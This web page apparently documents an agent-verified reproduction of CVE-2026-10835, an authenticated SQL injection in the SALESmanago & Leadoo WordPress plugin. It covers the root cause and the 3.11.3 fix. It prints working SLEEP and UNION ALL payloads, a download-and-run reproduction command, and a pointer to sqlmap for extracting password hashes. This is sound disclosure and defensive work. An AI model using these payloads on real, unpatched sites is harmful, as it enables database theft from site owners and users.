Skip to content

CVE-2026-10835: Verified Reproduction

CVE-2026-10835: SALESmanago & Leadoo WordPress plugin SQL injection

CVE-2026-10835 is verified against the affected target. Vulnerability class: SQLi. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00241.

REPRO-2026-00241 SQLi Jul 6, 2026 CVE entry .txt
Severity
HIGH
CVSS
7.7
Confidence
HIGH
Reproduced in
50m 2s
Tool calls
284
Spend
$6.59
01 · Overview

What Is CVE-2026-10835?

CVE-2026-10835 is a high-severity SQL injection in the SALESmanago & Leadoo WordPress plugin before 3.11.3. The plugin does not properly sanitize and escape user input, letting an attacker inject SQL. Pruva reproduced it (reproduction REPRO-2026-00241).

02 · Severity & CVSS

CVE-2026-10835 Severity & CVSS Score

CVE-2026-10835 is rated high severity, with a CVSS base score of 7.7 out of 10.

HIGH threat level
7.7 / 10 CVSS base

High — serious impact or readily exploitable. Prioritize remediation.

How to Reproduce CVE-2026-10835

$ pruva-verify REPRO-2026-00241
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00241/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-10835

Information disclosure — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

base64-encoded JSON 'data' request parameter, 'dateFrom' field, sent to /wp-admin/admin-ajax.php action=salesmanago_export_count_contacts by an authenticated Subscriber

Attack chain
  1. POST /wp-admin/admin-ajax.php (authenticated Subscriber, no nonce required)
  2. ExportController::countContacts()
  3. SecureHelper::validate_ajax_nonce() (returns false but does not die for non-admins)
  4. ExportModel::parseArgs() (unsanitized $data
  5. dateFrom)
  6. ExportModel::getExportContactsQuery() (direct string interpolation A.post_date >= '{$this
  7. dateFrom}')
  8. $wpdb
  9. get_var()
How the agent worked 668 events · 284 tool calls · 50 min
50 minDuration
284Tool calls
169Reasoning steps
668Events
1Dead-ends
Agent activity over 50 min
Support
17
Hypothesis
2
Repro
357
Judge
34
Variant
254
0:0050:02

Root Cause and Exploit Chain for CVE-2026-10835

Versions: all versions up to and including 3.11.2 (fixed in 3.11.3).

The SALESmanago & Leadoo WordPress plugin (before 3.11.3) is vulnerable to authenticated SQL injection via the salesmanago_export_count_contacts AJAX action. The plugin registers this action on wp_ajax_ (authenticated users only) but the authorization helper SecureHelper::validate_ajax_nonce() returns false early for any non-admin user without calling die()/wp_send_json_error(), and ExportController::countContacts() ignores the return value — so an authenticated user with the minimal Subscriber role reaches the vulnerable query with no nonce required. ExportModel::parseArgs() reads the base64-decoded JSON data request parameter and assigns $data->dateFrom directly to $this->dateFrom with no sanitization; ExportModel::getExportContactsQuery() then interpolates that value directly into a SQL string (A.post_date >= '{$this->dateFrom}'), which is classic SQL injection. The injection was confirmed end-to-end against a real WordPress + MySQL stack: a time-based blind SLEEP() payload produced a response delay that scales linearly with the sleep duration, and a UNION ALL payload extracted the wp_users row count directly through the injection.

  • Package/component affected: SALESmanago & Leadoo WordPress plugin (slug salesmanago), specifically src/Admin/Model/ExportModel.php (parseArgs() + getExportContactsQuery()) and src/Includes/SecureHelper.php (validate_ajax_nonce()).
  • Affected versions: all versions up to and including 3.11.2 (fixed in 3.11.3).
  • Risk level: High (CVSS 7.7 per the WPScan advisory). An authenticated Subscriber (or any role) can append arbitrary SQL to the export-contacts count query and exfiltrate sensitive data such as user password hashes, secret keys, and the contents of any database table via time-based/boolean/UNION techniques.

Impact Parity

  • Disclosed/claimed maximum impact: SQL injection allowing an authenticated attacker (Subscriber+) to extract sensitive information from the database.
  • Reproduced impact from this run:
    1. Time-based blind SQL injection — SLEEP(N) executed inside the SQL engine, response delay scaling linearly with N (≈6 s per unit).
    2. Data extraction — a UNION ALL injection returned the wp_users row count (count = 2, matching the ground-truth value read independently via $wpdb).
  • Parity: full. The claimed SQL-injection/data-extraction impact was demonstrated through the real remote /wp-admin/admin-ajax.php endpoint with an authenticated Subscriber session.
  • Not demonstrated: This proof focused on counting/extraction primitives; a full dump of password hashes was not performed (out of scope for a reproduction). The demonstrated primitives are sufficient to mount such an extraction with standard SQLi tooling (e.g. sqlmap on the data/dateFrom parameter).

Root Cause

Two defects combine to produce the vulnerability:

  1. Missing input sanitization + string interpolation in SQL. ExportModel::parseArgs() (vulnerable 3.11.2):

    $data = json_decode( base64_decode( $_REQUEST['data'] ) );
    $this->dateFrom = empty( $data->dateFrom ) ? '2000-01-01' : $data->dateFrom; // NO sanitization
    

    ExportModel::getExportContactsQuery() then builds the query by direct interpolation:

    $query .= "WHERE A.post_type = 'shop_order' AND A.post_date >= '{$this->dateFrom}' AND A.post_date <= '{$this->dateTo}'";
    

    $this->dateFrom is attacker-controlled and unsanitized, so a single quote in dateFrom breaks out of the string literal and injects arbitrary SQL. Note the query is post-processed with preg_replace('/\s\s+/', ' ', $query), which collapses newlines to single spaces; this is why a -- line comment must not be used (it would also comment out the closing ) AS qwerty), and why the working payloads balance the SQL instead.

  2. Broken authorization on the AJAX action. SecureHelper::validate_ajax_nonce() (vulnerable 3.11.2):

    public static function validate_ajax_nonce($action) {
        if ( function_exists('current_user_can') && ! current_user_can('manage_options') ) {
            return false;          // <-- Subscriber hits this: returns, but does NOT die()
        }
        ...                          // check_ajax_referer() / wp_send_json_error() never reached for non-admins
    }
    

    ExportController::countContacts() calls SecureHelper::validate_ajax_nonce(...) but ignores its return value, so execution continues to parseArgs() and the vulnerable query regardless. A Subscriber therefore reaches the SQL with no nonce and no capability check.

Fix (3.11.3):

  • validate_ajax_nonce() now enforces both a valid nonce (check_ajax_referer('salesmanago_admin','sm_nonce',false)) and current_user_can('manage_options'), calling wp_send_json_error(['message'=>'forbidden'], 403) (which dies) on failure — so a Subscriber is blocked with HTTP 403.
  • parseArgs() now validates input: sanitize_text_field(), strict base64 decode, JSON-error checking, and a new validate_date_format() for dateFrom.
  • getExportContactsQuery() now uses $wpdb->prepare() with %s placeholders:
    $query .= $this->db->prepare(" AND A.post_date >= %s AND A.post_date <= %s ", $this->dateFrom, $this->dateTo);
    
    eliminating the string interpolation.

Fixed-version reference: WordPress.org plugin download https://downloads.wordpress.org/plugin/salesmanago.3.11.3.zip; advisory https://a8cteam5105.wordpress.com/vulnerability/3c7b37ab-b069-4257-82b2-5b4c54f7e503/.

Reproduction Steps

  1. Reference script: bundle/repro/reproduction_steps.sh (self-contained; also uses bundle/repro/docker-compose.yml).
  2. What the script does:
    • Stands up a real WordPress 6.7 (PHP 8.2) + MySQL 8.0 stack via Docker Compose. Because the sandbox host cannot reach the Docker bridge network (different mount/network namespace), all HTTP interaction is executed inside the WordPress container via docker compose exec.
    • Runs the WordPress 5-minute install, seeds a minimal salesmanago_configuration option (via wp eval-file/$wpdb, since the wordpress:apache image ships no mysql CLI), copies the plugin into the container via docker cp (bind mounts do not work across the namespace boundary), activates it, and creates a Subscriber user plus two dummy posts.
    • Logs in as the Subscriber through the real wp-login.php cookie flow.
    • Sends SQL-injection payloads to the real /wp-admin/admin-ajax.php endpoint (action=salesmanago_export_count_contacts, data = base64 JSON with an injected dateFrom), measuring HTTP status and response time, and parses the count field from the JSON response.
    • Repeats the entire flow against the fixed 3.11.3 plugin as a negative control, then compares results and writes runtime_manifest.json.
  3. Expected evidence of reproduction:
    • Vulnerable 3.11.2: SLEEP(0)≈0.07 s, SLEEP(1)≈6.07 s, SLEEP(2)≈12.01 s (linear timing → blind SQLi), and UNION ALL extraction count = 2 matching the ground-truth wp_users row count.
    • Fixed 3.11.3: every Subscriber request returns HTTP 403 {"success":false,"data":{"message":"forbidden"}} with no timing delay and no count field.

Evidence

  • Manifest: bundle/repro/runtime_manifest.json (valid JSON; concrete timing, extraction, and fixed-control values).
  • Verdict: bundle/repro/validation_verdict.json.
  • Run logs: bundle/logs/vulnerable/run.log, bundle/logs/fixed/run.log.
  • Per-request captures: bundle/logs/vulnerable/req_*.txt, bundle/logs/fixed/req_*.txt (each file is the raw curl body followed by a final line HTTP_CODE TIME_TOTAL).
  • Summaries: bundle/logs/vulnerable/summary.csv, bundle/logs/fixed/summary.csv (name|http|time|count).
  • Ground truth: bundle/logs/vulnerable/groundtruth_usercount.txt (2).

Key excerpts (vulnerable 3.11.2):

# Time-based blind SQLi — linear scaling (each row sleeps N seconds)
sleep0 | 200 | 0.075820s | count=1
sleep1 | 200 | 6.071948s | count=1
sleep2 | 200 | 12.012303s | count=1

# Data extraction — UNION ALL reads wp_users row count through the injection
union_usercount | 200 | 0.009666s | count=2     # matches ground-truth (admin + subscriber = 2)
union_nouser    | 200 | 0.017291s | count=0     # WHERE ID=99999 -> 0 rows (control)
baseline        | 200 | 0.010917s | count=0     # no injection

Raw vulnerable union_usercount response body (the injected dateFrom is reflected back and count is the extracted value):

{"packageSize":400,...,"dateFrom":"2000-01-01' AND 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM (SELECT 1 AS post_date FROM wp_users) A WHERE '1'='1","dateTo":"2026-07-05","count":"2",...}

Fixed 3.11.3 negative control — Subscriber is blocked, no SQL executes:

sleep2          | 403 | 0.009891s | count=
union_usercount | 403 | 0.011896s | count=

Raw fixed union_usercount response: {"success":false,"data":{"message":"forbidden"}} (HTTP 403).

Environment: Docker wordpress:6.7-php8.2-apache + mysql:8.0; plugin versions 3.11.2 (vulnerable) and 3.11.3 (fixed) downloaded from downloads.wordpress.org. No sanitizer used; the oracle is wall-clock response time and the JSON count field returned by the real product endpoint.

Recommendations / Next Steps

  • Upgrade to SALESmanago & Leadoo 3.11.3 or later immediately.
  • Fix approach (already applied in 3.11.3): use $wpdb->prepare() with placeholders for every user-controlled value, validate/whitelist dateFrom with a date-format check, and enforce both a valid nonce and manage_options capability on every export AJAX action (die on failure).
  • Defense in depth: register export actions only for manage_options users via add_action('wp_ajax_...', ...) combined with an explicit current_user_can('manage_options') gate at the top of each handler; audit all other $wpdb->get_var/get_row/get_results/query call sites for raw interpolation.
  • Testing: add an integration test that sends a SQLi payload (single quote, SLEEP, UNION) to each export AJAX action as a Subscriber and asserts a 403 and no timing differential; add a static scan forbidding {$...} interpolation inside SQL strings passed to $wpdb.

Additional Notes

  • Idempotency confirmation: reproduction_steps.sh was run twice consecutively; both runs exited 0 and produced identical confirming results (timing scaling yes, union_usercount == groundtruth == 2, fixed control 403). The stack is fully torn down (docker compose down -v) at the end of each instance, so each run starts from a clean MySQL volume.
  • Sandbox constraints handled: (a) the Docker daemon runs in a separate mount namespace from the shell, so bind mounts see an empty directory — the plugin is injected with docker cp instead; (b) the wordpress:apache image has no mysql client, so DB seeding/reads use wp eval-file (pure $wpdb); (c) the host cannot reach the container network, so all HTTP requests (wp-login.php, admin-ajax.php) run inside the container via docker compose exec curl http://127.0.0.1/....
  • Payload note: the SLEEP payload is balanced as 2000-01-01' OR SLEEP(N) OR '1'='1 rather than using a -- comment, because the plugin's preg_replace('/\s\s+/', ' ', $query) whitespace collapse turns newlines into spaces and would make -- comment out the closing ) AS qwerty, breaking the query (observed as count:null during development).
  • Limitations: WooCommerce is not installed, so the export query's shop_order filter matches zero rows by design; the time-based proof relies on the OR SLEEP(N) term being evaluated for the default post/page rows that the WHERE scans. The data-extraction proof uses a derived table (SELECT 1 AS post_date FROM wp_users) A so the trailing AND A.post_date <= '<dateTo>' clause stays valid inside the UNION second SELECT. No destructive SQL was executed; only SLEEP, UNION ALL, and COUNT were used.

CVE-2026-10835 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:08
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-10835 · REPRO-20
0:02
0:03
web search
0:04
web search
0:07
0:30
0:31
web search
0:34
0:35
0:44
0:44
extract_facts
no facts extracted
0:45
0:45
0:45
supportrepro
0:54
0:56
0:56
0:56
0:57
0:57
0:57
0:58
1:00
web search
1:01
web search
1:03
1:04
1:08
08 · How to Fix

How to Fix CVE-2026-10835

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-10835 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-10835

Which versions of the SALESmanago & Leadoo plugin are affected by CVE-2026-10835?

The SALESmanago & Leadoo WordPress plugin before 3.11.3 is affected. Upgrade to 3.11.3 or later.

How severe is CVE-2026-10835?

It is rated high severity: a SQL injection reachable by authenticated (non-admin) users due to a broken nonce/authorization check, allowing database error disclosure or data extraction.

How can I reproduce CVE-2026-10835?

Download the verified script from this page and run it in an isolated WordPress instance with the vulnerable plugin (< 3.11.3). It sends a request with a SQL injection payload to the salesmanago_export_count_contacts AJAX action and observes the database error / data extraction.
11 · References

References for CVE-2026-10835

Authoritative sources for CVE-2026-10835 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.